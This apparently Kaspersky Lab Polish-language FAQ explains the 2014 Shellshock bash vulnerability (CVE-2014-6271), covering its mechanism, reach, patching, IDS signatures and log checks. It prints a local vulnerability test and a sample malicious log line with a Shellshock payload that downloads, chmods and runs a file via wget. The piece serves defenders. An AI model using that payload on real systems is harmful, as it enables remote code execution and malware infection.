Stan zagrożeń w internecie znajduje się obecnie na poziomie standardowym. Nie występują duże epidemie a eksperci z Kaspersky Lab nie zanotowali żadnych poważnych incydentów związanych z bezpieczeństwem. Poziom zagrożenia: 1

Na czym polega „BashBug"?

Dodany 1 października 2014, 15:02 CEST
Tagi:

Luka w bashu, określana jako CVE-2014-6271, to niezwykle poważna luka ze względu na duży wpływ i łatwość, z jaką może zostać wykorzystana. Osoba atakująca może po prostu wykonać polecenia na poziomie systemu, uzyskując te same przywileje co zaatakowane usługi.

W większości przykładów, jakie można obecnie znaleźć w internecie, osoby atakujące przeprowadzają zdalne ataki na serwery sieciowe hostujące skrypty CGI, które zostały napisane w języku powłoki bash, lub przekazują wartości do skryptów powłoki.     

W momencie pisania tego tekstu opisywana luka była już wykorzystywana do szkodliwych celów – infekowania szkodliwym oprogramowaniem podatnych na ataki serwerów sieciowych oraz przeprowadzania ataków hakerskich. Nasi badacze nieustannie gromadzą nowe próbki i oznaki infekcji wykorzystujących tę lukę. Więcej informacji dotyczących tego szkodliwego oprogramowania zostanie opublikowanych wkrótce. 

Istotną rzeczą, jaką należy sobie uświadomić, jest fakt, że luka ta nie jest związana z żadną konkretną usługą, taką jak np. Apache czy nginx. Raczej jest umiejscowiona w interpreterze powłoki bash i pozwala osobie atakującej dołączyć polecenia na poziomie systemu do zmiennych środowiskowych basha.     

Jak to działa?

Aby to wyjaśnić, posłużę się tymi samymi przykładami, które można było znaleźć w opublikowanych oficjalnych ostrzeżeniach i kodzie typu proof-of-concept. Gdy na serwerze sieciowym znajduje się skrypt CGI, automatycznie odczytuje on pewne zmienne środowiskowe, np. Twój adres IP, wersję przeglądarki oraz informacje dotyczące lokalnego systemu.      

Wyobraźmy sobie, że możemy nie tylko przekazać te standardowe informacje systemowe do skryptu CGI, ale również polecić skryptowi, aby wykonał polecenia na poziomie systemu. Oznaczałoby to, że – bez posiadania danych uwierzytelniających do serwera sieciowego – jak tylko uzyskasz dostęp do skryptu CGI, odczyta on zmienne środowiskowe; jeśli zmienne te zawierają ciąg exploita, skrypt wykona również zdefiniowane polecenie.            

Dlaczego luka jest unikatowa?

Luka ta jest unikatowa, ponieważ niezwykle łatwo ją wykorzystać, a jej wpływ jest niezwykle poważny – ze względu na liczbę podatnych na ataki celów. Wpływ luki obejmuje nie tylko serwery sieciowe, ale również oprogramowanie, które wykorzystuje interpreter basha i czyta dane, które można kontrolować. 

Badacze próbują również ustalić, czy luka dotyka również interpretery takich języków jak PHP, JSP, Python czy Perl. W zależności od tego, w jaki sposób został napisany kod, bash jest czasami wykorzystywany przez interpreter w celu wykonania pewnych funkcji; w takim wypadku, również inne interpretery mogłyby zostać użyte do wykorzystania luki CVE-2014-6271.     

Wpływ luki jest bardzo duży, ponieważ istnieje wiele osadzonych urządzeń, które wykorzystują skrypty CGI – na przykład routery, urządzenia gospodarstwa domowego oraz bezprzewodowe punkty dostępowe. Są one również podatne na ataki i – w wielu przypadkach – trudno je załatać.

Jak szeroko rozpowszechniona jest luka?

Trudno powiedzieć, jednak z naszych danych wynika, że zaczęto rozwijać exploity i robaki bezpośrednio po tym, jak zostały opublikowane informacje o błędzie – zarówno badacze „whitehat” jak i „blackhat” skanują internet w poszukiwaniu podatnych na ataki serwerów.  

Jest jeszcze zbyt wcześnie na to, aby określić, jak szeroko rozpowszechniona jest opisywana luka, jednak z mojego badania wynika, że skrypty CGI działają na bardzo wielu serwerach sieciowych, i jestem przekonany, że powstanie również wiele innych rodzajów exploitów, których celem będą pliki lokalne i demony sieciowe. Pojawiły się również dyskusje dotyczące podatności na ten atak w OpenSSH i klientach DHCP.         

Jak mogę sprawdzić, czy mój system/strona internetowa została dotknięta tym zagrożeniem? 

Najprostszym sposobem sprawdzenia, czy system jest podatny na lukę, jest otwarcie powłoki bash w systemie i wykonanie poniższego polecenia:

env x='() {  :;}; echo vulnerable' bash  -c "echo this is a test"

Jeżeli powłoka zwróci ciąg "vulnerable" (podatny), należy uaktualnić system.

Istnieją również narzędzia przeznaczone dla użytkowników technicznych, które mogą być wykorzystane w celu sprawdzenia, czy dany serwer jest podatny na opisywaną lukę.  

Jak  naprawić problem?

Pierwszą rzeczą, jaką należy zrobić, jest uaktualnienie wersji basha. Różne dystrybucje Linuksa oferują łaty dla tej luki; i chociaż nie wszystkie łaty okazują się całkowicie skuteczne, działaniem, które należy podjąć w pierwszej kolejności, jest zastosowanie ich. Serwisy, takie jak Heroku, wypchnęły poprawki, które zostaną automatycznie zastosowane w ciągu 24 godzin, jednak twórcy mogą również wymusić aktualizacje, co zdecydowanie zalecam.   

Jeśli wykorzystujesz IDS/IPS, zalecam również dodanie/załadowanie odpowiedniej sygnatury. Ukazało się wiele publicznych reguł. 

Przyjrzyj się również konfiguracji twojego serwera sieciowego. Jeśli istnieją jakieś skrypty CGI, których nie używasz, rozważ wyłączenie ich.

Czy istnieje zagrożenie dla bankowości online?

Opisywana luka jest aktywnie wykorzystywana do atakowania serwerów w internecie. Zagrożone są nawet niektóre stacje robocze działające pod kontrolą Linuksa czy OS X, jednak osoba atakująca wciąż musiałaby znaleźć zdalny wektor ataku. Opublikowany został kod typu „proof of concept” atakujący klientów DHCP stacji roboczych z systemem *nix, jednak większość polityk dotyczących procesów DHCP na stacjach roboczych domyślnie zapobiega działaniom tego rodzaju exploitów.  

Celem zaobserwowanych prób wykorzystania exploitów są luki w zabezpieczeniach serwera oraz pobieranie botów DDoS w celu przeprowadzania dalszych ataków. Możliwe, że atakowane są również serwery hostujące PII i obsługujące poufne dane handlowe, jednak jak dotąd nie zauważyliśmy tego. Niektórzy handlowcy niestety nie stosują niezwłocznie łat.        

Czy można zauważyć, że ktoś wykorzystał opisywaną lukę przeciwko mnie?

Zalecamy przejrzenie logów HTTP i sprawdzenie, czy nie ma w nich niczego podejrzanego. Przykład szkodliwego schematu:  

"192.168.1.1 - - [25/Sep/2014:14:00:00 +0000] "GET / HTTP/1.0"  400 349 "() {  :; }; wget -O /tmp/besh http://192.168.1.1/filename; chmod 777  /tmp/besh; /tmp/besh;"

Niektóre łaty dla luki powłoki bash rejestrują każde polecenie, które jest przekazywane do interpretera basha. Jest to dobry sposób, aby sprawdzić, czy ktoś wykorzystał Twoją maszynę. Nie powstrzyma to atakujących przed wykorzystaniem tej luki, ale ich działania w systemie zostaną zapisane w logach.   

Jak poważne jest zagrożenie?

Błąd jest rzeczywiście bardzo poważny, ale nie KAŻDY system jest podatny. Muszą zostać spełnione specjalne warunki, aby serwer sieciowy mógł zostać wykorzystany. Jednym z największych problemów obecnie jest to, że gdy zostaną opublikowane łaty, badacze będą szukać innych sposobów wykorzystania powłoki bash, sprawdzać różne warunki, które umożliwiają wykorzystanie w niej luki itd. Łata, która pomaga zapobiec zdalnemu wykonaniu kodu, nie przeszkodzi w nadpisaniu pliku. A zatem, prawdopodobnie pojawi się seria łat, a w międzyczasie systemy nadal będą podatne na ataki.  

Czy to nowy Heartbleed?

Opisywana luka jest znacznie łatwiejsza do wykorzystania przez cyberprzestępcę niż Heartbleed. Poza tym, w przypadku Heartbleed, cyberprzestępca mógł ukraść jedynie dane z pamięci, mając nadzieję, że znajdzie wśród nich coś ciekawego. Z drugiej strony, luka w powłoce bash w większym stopniu umożliwia pełną kontrolę systemu. Dlatego też wydaje się bardziej niebezpieczna.      

Czy luka ta może zostać wykorzystana w przyszłych atakach APT?

Naturalnie, może zostać wykorzystana do rozwoju szkodliwego oprogramowania w przyszłości. Szkodliwe oprogramowanie mogłoby zostać użyte do automatycznego przetestowania infrastruktury w celu wykrycia takiego błędu, zainfekowania systemu lub zaatakowania go w jakiś inny sposób.